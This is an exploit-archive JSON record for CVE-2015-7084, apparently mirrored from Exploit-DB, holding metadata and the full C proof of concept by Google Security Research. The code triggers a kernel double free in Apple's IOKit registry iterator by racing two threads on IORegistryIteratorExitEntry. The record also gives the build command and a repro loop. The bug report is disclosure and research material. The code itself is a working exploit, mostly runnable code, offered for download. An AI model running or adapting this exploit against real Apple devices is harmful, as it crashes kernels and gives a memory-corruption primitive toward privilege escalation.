{"exploit":{"id":"EDB-39366","name":"Apple Mac OSX/iOS Kernel - iokit Registry Iterator Manipulation Double-Free","description":"Apple Mac OSX/iOS Kernel - iokit Registry Iterator Manipulation Double-Free","cves":["CVE-2015-7084"],"author":"Google Security Research","published":"2016-01-28","platform":"multiple","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/39366","path":"exploits/multiple/dos/39366.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-39366.c","vulnerabilities":[{"id":"CVE-2015-7084","state":"PUBLISHED","title":null,"titleSource":null,"description":"The kernel in Apple iOS before 9.2, OS X before 10.11.2, tvOS before 9.1, and watchOS before 2.1 allows local users to gain privileges or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-7083.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-7084","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-7084"},"updatedAt":"2024-08-06T07:36:35.540Z","retrievedAt":"2026-11-26T14:08:03.496Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-39366.png?v=2","url":"https://exploitbin.com/exploits/EDB-39366","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-39366/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-39366/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nSource: https://code.google.com/p/google-security-research/issues/detail?id=598\n\nThe userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:\n\n    kern_return_t is_io_registry_iterator_exit_entry(\n                                                     io_object_t iterator )\n    {\n        bool  didIt;\n\n        CHECK( IORegistryIterator, iterator, iter );\n\n        didIt = iter->exitEntry();\n\n        return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );\n    }\n\nexitExtry is defined as follows:\n\nbool IORegistryIterator::exitEntry( void )\n{\n    IORegCursor * gone;\n\n    if( where->iter) {\n        where->iter->release();\n        where->iter = 0;\n        if( where->current)// && (where != &start))\n            where->current->release();\n    }\n\n    if( where != &start) {\n        gone = where;\n        where = gone->next;\n        IOFree( gone, sizeof(IORegCursor));\n        return( true);\n\n    } else\n        return( false);\n}\n\nThere are multiple concurrency hazards here; for example a double free of where if two threads\nenter at the same time.\n\nThese registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes\non OS X and iOS.\n\nTested on El Capitan 10.10.1 15b42 on MacBookAir 5,2\n\nUse kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro\n\nrepro: while true; do ./ioparallel_regiter; done\n\n*/\n\n// ianbeer\n\n// clang -o ioparallel_regiter ioparallel_regiter.c -lpthread -framework IOKit\n/*\nOS X and iOS kernel double free due to lack of locking in iokit registry iterator manipulation\n\nThe userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:\n\n    kern_return_t is_io_registry_iterator_exit_entry(\n                                                     io_object_t iterator )\n    {\n        bool  didIt;\n\n        CHECK( IORegistryIterator, iterator, iter );\n\n        didIt = iter->exitEntry();\n\n        return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );\n    }\n\nexitExtry is defined as follows:\n\nbool IORegistryIterator::exitEntry( void )\n{\n    IORegCursor * gone;\n\n    if( where->iter) {\n        where->iter->release();\n        where->iter = 0;\n        if( where->current)// && (where != &start))\n            where->current->release();\n    }\n\n    if( where != &start) {\n        gone = where;\n        where = gone->next;\n        IOFree( gone, sizeof(IORegCursor));\n        return( true);\n\n    } else\n        return( false);\n}\n\nThere are multiple concurrency hazards here; for example a double free of where if two threads\nenter at the same time.\n\nThese registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes\non OS X and iOS.\n\nTested on El Capitan 10.10.1 15b42 on MacBookAir 5,2\n\nUse kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro\n\nrepro: while true; do ./ioparallel_regiter; done\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <mach/mach.h>\n#include <mach/thread_act.h>\n\n#include <pthread.h>\n#include <unistd.h>\n\n#include <IOKit/IOKitLib.h>\n\nint start = 0;\n\nvoid exit_it(io_iterator_t iter) {\n  IORegistryIteratorExitEntry(iter);\n}\n\nvoid go(void* arg){\n\n  while(start == 0){;}\n\n  usleep(1);\n\n  exit_it(*(io_iterator_t*)arg);\n}\n\nint main(int argc, char** argv) {\n  kern_return_t err;\n  io_iterator_t iter;\n\n  err = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &iter);\n  if (err != KERN_SUCCESS) {\n    printf(\"can't create reg iterator\\n\");\n    return 0;\n  }\n\n  IORegistryIteratorEnterEntry(iter);\n\n  pthread_t t;\n  io_connect_t arg = iter;\n  pthread_create(&t, NULL, (void*) go, (void*) &arg);\n\n  usleep(100000);\n\n  start = 1;\n\n  exit_it(iter);\n\n  pthread_join(t, NULL);\n\n  return 0;\n}","sha256":"0c58e21b8937228480f333069fd6473ab89f1178734b8cb6d6c0df957b6e4212","bytes":3735,"fetchedAt":"2026-11-26T14:08:01.269Z","encoding":"utf-8 (display only; download retains original bytes)"}